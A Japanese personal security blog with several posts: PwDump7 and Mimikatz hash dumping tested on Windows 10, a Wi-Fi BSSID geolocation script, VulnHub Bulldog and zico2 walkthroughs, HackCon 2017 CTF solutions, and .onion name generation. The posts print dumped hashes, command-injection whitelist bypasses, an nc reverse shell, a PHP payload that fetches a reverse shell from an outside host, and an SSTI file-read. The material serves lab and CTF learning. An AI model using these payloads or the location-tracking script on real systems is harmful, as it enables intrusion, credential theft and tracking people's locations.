#!

路上に就職!

windows10でPwDdump7を実行メモ

windows 10でPwDdump7を実行した時にWindows defenderなどがどう動くか気になったので確認してみた。

環境は

項目
エディション Windows 10 Home
バージョン 1607
OSビルド 14393.2189

ダウンロードするとwindows defenderに「害を及ぼす可能性のあるソフトウェアが検出されました」 と検知されるが通知が出るだけで削除自体はされない。

一般ユーザ権限と管理者権限で実行した違いは以下の通り。

アカウントの権限 成功の有無
一般ユーザー権限 失敗
管理者権限 成功  

実行が成功した際は以下のようにローカルユーザーのhashが表示される。

PS C:\Users\user\Desktop\pwdump7> .\PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:6C918A924D141390C235A5192A4E87AC:C8D7013012A73F16FE6F05389E4BF8CC:::
Guest:501:86FD20C518447C071CADEAA80E84C012:199BB099A1BABC1FC23F27B742D9AF7C:::
:503:C0A2EE133A2A0CC3E5287E22073A55C3:8D592534F0F813BAB0D7830FA3B1C215:::
:1000:6D1BC8536F6D103CD210348ECD48EE1C:A7703305E47032A5953FACF76E4D4C57:::
user:1001:35F07197BDE1639FD359DBC60D53AFDD:44A23D7C2D753760993C8612EDB62E74:::
:1003:2ACA8281179753BD7B374E5CB52FAE92:FD2288B19964CB1E9AE5E214F8502909:::

hashは取得できたがWindows10でPwdump7を使用すると間違ったハッシュを得られるという情報を見つける。。

https://www.slideshare.net/abend_cve_9999_0001/your-hash-is

userのNTLM hashをmimikatzとPwDump7で取得して比較すると

ツール hash
PwDump7 44a23d7c2d753760993c8612edb62e74
Mimikatz 57d583aa46d571502aad4bb7aea09c70

違う。。 オンラインのhashクラッカーに投げてみる。 上がPwDump7で下がMimikatz

f:id:x6d61:20180922192852p:plain

userのパスワードはuserに設定してるのでMimikatzが正しくてPwDump7が間違ってることがわかる。

結論

Windows10ではPwDump7は使えない。

フィクションのハッカーみたいに住所を盗む。

フィクションのハッカーはキーボードを叩いて5分くらいで住所を特定する。現実ではありえないけど上手くやれば住所を特定したりできるのでは?と思ったからスクリプトを書いた。clinet,server共にローカルの仮想環境で試した。

 

 

gist.github.com

 

clinet.pyは実行したマシンから周囲のbssidを取得しserver.pyへ送信する。(ここではWindowsを想定している。

Serverは送られて来たbssidを元にGoogleAPIを叩き住所を得ている。

GoogleWifiのbssidをデータベース化し位置情報と紐づけている。bssidを送りつければ緯度と経緯を得られるAPIを提供しているのでそれを利用している。

 

おわり

 

 

 

Bulldog writeup

vulnhubで公開されてるBullDogという問題を解きました。

https://www.vulnhub.com/entry/bulldog-1,211/

f:id:x6d61:20171230214954p:plain

仮想をマシンを起動したらIPアドレスが192.168.56.101だということがわかりました。起動してすぐにipアドレスがわかるのはいいですね。

次にNmapでポートスキャンをかけます。

sudo nmap -T4 -sS -sC -sV 192.168.56.101 -p0-65535
Password:

Starting Nmap 7.30 ( https://nmap.org ) at 2017-12-30 21:51 JST
Nmap scan report for www.convert.me (192.168.56.101)
Host is up (0.00096s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|_  256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.95 seconds

80と8080でwebサービスが動いています。NmapいわくwebアプリはPython製らしいです。 あと23でsshが動いています。

webサービスにアクセスすると可愛いブルドックの画像が載っているページが表示されます。

f:id:x6d61:20171230220609p:plain

攻撃できそうな部分がなかったのでdirsearch.pyを使いディレクトリを調べます。

python dirsearch.py -u http://192.168.56.101 -e php

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5151

Error Log: /Users/0x6d61/tool/dirsearch/logs/errors-17-12-31_12-28-24.log

Target: http://192.168.56.101

[12:28:24] Starting:
[12:28:33] 301 -    0B  - /admin  ->  http://192.168.56.101/admin/
[12:28:33] 302 -    0B  - /admin/  ->  http://192.168.56.101/admin/login/?next=/admin/
[12:28:33] 302 -    0B  - /admin/?/login  ->  http://192.168.56.101/admin/login/?next=/admin/%3F/login
[12:28:34] 301 -    0B  - /admin/login  ->  http://192.168.56.101/admin/login/
[12:28:43] 301 -    0B  - /dev  ->  http://192.168.56.101/dev/
[12:28:43] 200 -    3KB - /dev/
[12:28:54] 200 -    1KB - /robots.txt

adminは管理画面、devはセキュリティのためのwebshellを開発した的なことが書いてあります。このwebshellは認証をしないと使えないようです。

f:id:x6d61:20171231123347p:plain

f:id:x6d61:20171231123753p:plain

devのhtmlのソースを見るとhashらしきものがコメントアウトされています。

f:id:x6d61:20171231123816p:plain

sha1っぽいのでオンラインのハッシュクラッカーに投げて見ます。

f:id:x6d61:20171231124214p:plain

nickとsarahのpasswordがわかりました。

nick:bulldog
sarah:bulldoglover

管理画面からログインしwebshellにアクセスするとコマンドが実行できるようになりました。 ただ、許可されたコマンドしか実行できないようなのでこれを回避する方法を考えます。

f:id:x6d61:20171231124825p:plain

echoコマンドが実行できるようなので echo "a `id`" バッククォーテーションを使いコマンドを実行してみます。

f:id:x6d61:20171231125317p:plain

許可されていないidコマンドが実行できました。nc でreverse shellを転送し実行します。

f:id:x6d61:20171231125551p:plain

nc -l 4444
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
$ uname -a
Linux bulldog 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$

shellを奪うことができました。次はroot権限を奪います。kernel に脆弱性があるか探しましたが 特にありませんでした。内部を探索すると /home/bulldogadmin に .hiddenadmindirectory というディレクトリがあることがわかりました。

$ pwd
/home/bulldogadmin/.hiddenadmindirectory
$ ls
customPermissionApp
note
$ cat note
Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley
$

ディレクトリにあるfile は customPermissionApp と note でnoteにはcustomPermissionAppの説明が書いてあります。fileコマンドで確認すると

~$ file customPermissionApp
customPermissionApp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c9f2333253302d74eff3da59653f82d28f9eb36f, not stripped

not strippedのバイナリのようです。 また、customPermissionApp を実行するとsudoコマンドが呼び出されていることがわかります。 次はstringsコマンドで確認すると

/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

(snip)

SUPERから始まる気になる文字列があります。これがパスワードではないかと考えました。ここから試行錯誤すること数時間… パスワードは SUPERultimatePASSWORDyouCANTget であることがわかりました。

🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔

root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
root@bulldog:~#

flagを読むことができました!!!

感想

パスワード推測問題をやめろ

zico2 writeup

vulnhubにあるzico2という問題を解いた。

www.vulnhub.com

まずはホストを探すためにarp-scan を使用した。

Interface: vboxnet0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.56.100  08:00:27:40:cd:ca   CADMUS COMPUTER SYSTEMS
192.168.56.101  08:00:27:98:69:ca   CADMUS COMPUTER SYSTEMS

512 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.857 seconds (137.86 hosts/sec). 2 responded

ipアドレスは192.168.56.101なのでブラウザでアクセスしてみる。 f:id:x6d61:20171009005059p:plain

脆弱性を探していると view.php?page=tools.html にディレクトリトラバーサルが存在することがわかった。 f:id:x6d61:20171009005425p:plain

php://filterでソースコードを取得することもできず、特に有用な情報を得られなかったので dirsearchを使い他のファイルがないか探すことにした。

Target: http://192.168.56.101/

[23:44:27] Starting:
[23:44:36] 403 -  286B  - /.hta
[23:44:36] 403 -  293B  - /.ht_wsr.txt
[23:44:36] 403 -  295B  - /.htaccess-dev
[23:44:36] 403 -  297B  - /.htaccess-local
[23:44:36] 403 -  297B  - /.htaccess-marco
[23:44:36] 403 -  295B  - /.htaccess.BAK
[23:44:36] 403 -  295B  - /.htaccess.old
[23:44:36] 403 -  296B  - /.htaccess.orig
[23:44:36] 403 -  296B  - /.htaccess.bak1
[23:44:36] 403 -  296B  - /.htaccess.save
[23:44:36] 403 -  298B  - /.htaccess.sample
[23:44:36] 403 -  295B  - /.htaccess.txt
[23:44:36] 403 -  295B  - /.htaccessOLD2
[23:44:36] 403 -  294B  - /.htaccessBAK
[23:44:36] 403 -  296B  - /.htaccess_orig
[23:44:36] 403 -  294B  - /.htaccessOLD
[23:44:36] 403 -  297B  - /.htaccess_extra
[23:44:36] 403 -  294B  - /.htaccess_sc
[23:44:36] 403 -  290B  - /.htgroup
[23:44:36] 403 -  292B  - /.htaccess~
[23:44:37] 403 -  292B  - /.htpasswds
[23:44:37] 403 -  295B  - /.htpasswd-old
[23:44:37] 403 -  290B  - /.htusers
[23:44:37] 403 -  296B  - /.htpasswd_test
[23:44:56] 200 -    1KB - /README.md
[23:45:37] 403 -  290B  - /cgi-bin/
[23:45:45] 301 -  314B  - /css  ->  http://192.168.56.101/css/
[23:45:47] 301 -  318B  - /dbadmin  ->  http://192.168.56.101/dbadmin/
[23:45:47] 200 -  917B  - /dbadmin/
[23:45:49] 403 -  286B  - /doc/
[23:45:49] 403 -  300B  - /doc/stable.version
[23:45:49] 403 -  301B  - /doc/en/changes.html
[23:45:59] 200 -    3KB - /gulpfile.js
[23:46:02] 301 -  314B  - /img  ->  http://192.168.56.101/img/
[23:46:04] 200 -    8KB - /index
[23:46:05] 200 -    8KB - /index.html
[23:46:08] 301 -  313B  - /js  ->  http://192.168.56.101/js/
[23:46:22] 200 -  789B  - /package.json
[23:46:22] 200 -  789B  - /package
[23:46:36] 403 -  295B  - /server-status
[23:46:36] 403 -  296B  - /server-status/
[23:46:48] 200 -    8KB - /tools
[23:46:52] 200 -    0B  - /view.php

Task Completed

dbadminというディレクトリがあるらしいのでアクセスすると test_db.phpというファイルがあった。 f:id:x6d61:20171009005842p:plain

でアクセスするとphpLiteAdminという管理パネルらしい。バージョンは1.9.3 f:id:x6d61:20171009010027p:plain

id:admin,PW:adminで管理画面に入ることができた。

exploitがあるかGoogle先生で検索すると

www.youtube.com

上記の動画が引っかかった。動画と同じ手順で下記のコードを実行する。

<?php function dl($u,$o){$c = file_get_contents($u);file_put_contents($o,$c);}dl("http://192.168.56.1/php-reverse-shell.php",realpath(realpath(dirname(__FILE__)))."/back.php")?>

phpのreverse shellは下記のURLから拝借した。 http://pentestmonkey.net/tools/web-shells/php-reverse-shell

ビンゴ!

f:id:x6d61:20171009010454p:plain

shellを奪えた。

~$ uname -a
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

kernel exploitがないか探すとCVE-2013-2094が使えるらしい。 コンパイルして実行するとrootが取れた。

あとはflagを読むだけ

whoami
root
cd /root
ls
flag.txt
cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#

HackCon 2017 writeup

HackConにBK201で参加した。146ポイントで順位は102。

Noobcoder 50Pt

PHP初心者が作ったログインフォームがある。 f:id:x6d61:20170826185010p:plain SQLiなどもなさそうなので、初心者がやりそうなミスを探してみるとchecker.php~をダウンロードすることができた。

<html>
<head>
</head>
<body>
<?php
if ($_POST["username"] == $_POST["password"] && $_POST["password"] !== $_POST["username"])
    echo "congratulations the flag is d4rk{TODO}c0de";
else
    echo "nice try, but try again";
?>
</body>

暗黙の型変換で一致して、厳密な型の比較で一致しない値 100 と 1e2を送信してflag

f:id:x6d61:20170826190101p:plain

d4rk{l0l_g3dit_m4ster_roxx}c0de

Magic 50Pt

またログインフォームだけで脆弱性はない。 レスポンスを見てみるとSet-Cookieがかなりある。

curl -I http://139.59.13.232:6060
HTTP/1.1 200 OK
Host: 139.59.13.232:6060
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Set-Cookie: 0=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 1=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 2=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 3=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 4=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 5=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 6=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 7=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 8=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 9=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 10=%5B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 11=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 12=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 13=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 14=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 15=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 16=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
(skip)
Set-Cookie: 436=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 437=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 438=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Content-type: text/html; charset=UTF-8

連番のcookieを抜き出すsolveを書く

import requests
import urllib
import httplib
httplib._MAXHEADERS = 1000
cookie = []
url = "http://defcon.org.in:6060/"
r = requests.get(url)
list = r.headers['Set-Cookie'].split(';')
test = (list[0::3])
try:
    for i in test[1::]:
        split = i.split(',')
        cookie.append(split[1])
except:
    pass
r = []
for i in cookie:
    s = i.split('=')
    r.append(s[1])
print urllib.unquote(''.join(r))

繋げた値がBrainfuck っぽいのでBrainfuckを実行できるWebサービスに投げる f:id:x6d61:20170826235147p:plain

f:id:x6d61:20170826235315p:plain そしたらpassword が降ってくるのでアクセスしてflag

d4rk{c00k13s_4r3_fun}c0de

Rotate it 2Pt

rot13 やるだけ

d4rk{wh0_give$_ca3sar_in_CTF???}c0de

High Bass 3Pt

base64 するだけ

d4rk{that_$impl_3n0ugh4_U}c0de

File 3Pt

x86-64の実行ファイルを落として実行するだけ

d4rk{s1mpl_linux_execUt4ble}c0de

Needle P3

解凍して出て来たtext.txtからflagを探すだけ strings text.txt | ggrep d4rk

d4rk{n33dle_in_a_h4ystck}c0de

ALL CAPS 5Pt

換字式暗号

D4RK{TRY_FACCH3_IFTHIS_TOO_SIMPEL}C0DE

flag.txt 10Pt

f:id:x6d61:20170826201019p:plain アクセスするとRobotの記事のリンクが貼ってある。 robots.txtにアクセスすると 500786FBFB9CADC4834CD3783894239D ディレクトリがあることが わかる。

User-agent: *
Disallow: /500786FBFB9CADC4834CD3783894239D

500786FBFB9CADC4834CD3783894239D以下のflag.txtにアクセスしてflag

d4rk{r0b075_7x7_4r3_v3ry_c0mm0n}c0de

Welcome 5Pt

esya.iiitd.edu.in のソースを見るとflagが書いてある。

f:id:x6d61:20170826201721p:plain

d4rk{w3lc0m3_t0_35y4_2017}c0de

Keep talking 5Pt

HackCon 2017のSlackにアクセスするとflagがある。

d4rk{Pink_Floyd_1$_Awes0me}c0de

RSA-1 10Pt

他人のコード拝借して終了

d4rk{s1mpl3_rsa_n0t_th1s_34sy_next_time}c0de

競技が終了してから解いた問題

Stolen Calculator - PWN 100Pt

f:id:x6d61:20170827162302p:plain アクセスするとオンライン電卓(?)が操作できる。calc.jsが呼び出されてるので見てみると こんなコードがある。

                  for( var i=0  ; i < expr.length ; i++ )
                  if( charset.indexOf(expr[i]) < 0 )
                  {
                        alert("You can only use mathamatical expressions ")
                  }

                  urll = "http://defcon.org.in:10300/" + encodeURIComponent( strrr );
                  $.get( urll , function(res){
                      $("#data").html( res )  
                  })

http://defcon.org.in:10300 が怪しいのでアクセスしてみる。真っ白なページだったが /1+1とリクエストを送信すると2と表示され、文字列を送信するとerrが返ってくる。

f:id:x6d61:20170827162929p:plain

http://defcon.org.in:10300/{{1+1}} とリクエストを送信すると2と返って来たことから server side template injection の 脆弱性が存在することが 分かる。

f:id:x6d61:20170827163615p:plain

http://defcon.org.in:10300/{{process.cwd()}} と文字列を送信するとエラーが返ってくるため 数値または記号で難読化して送信しようと考えた。JsFuckはnodeJSにも対応してるらしいので

jscrew.it

上記のサイトで以下のコードを難読化して送信した。

process.binding('fs').internalModuleReadFile('/flag.txt')

そしたらflag

f:id:x6d61:20170827164158p:plain

d4rk{jaVaScriPtFuck}c0de

擬似ドメイン.onionの生成法

 

torで使用される擬似ドメインの.onionがどういう仕組みで決定されるのかわからなかったので調べた。

 

doc/HiddenServiceNames – Tor Bug Tracker & Wiki

 

こちらに全て書いてあった。

RSA-1024で公開鍵、秘密鍵を作成し公開鍵をDERでエンコードする。

公開鍵のハッシュ値sha1で取得する。ハッシュ値の前半部分(80bit)をbase32でエンコードする。

ということなのでプログラムを書いた。

 

This program creates an onion domain.

 

多分あってる。

おわり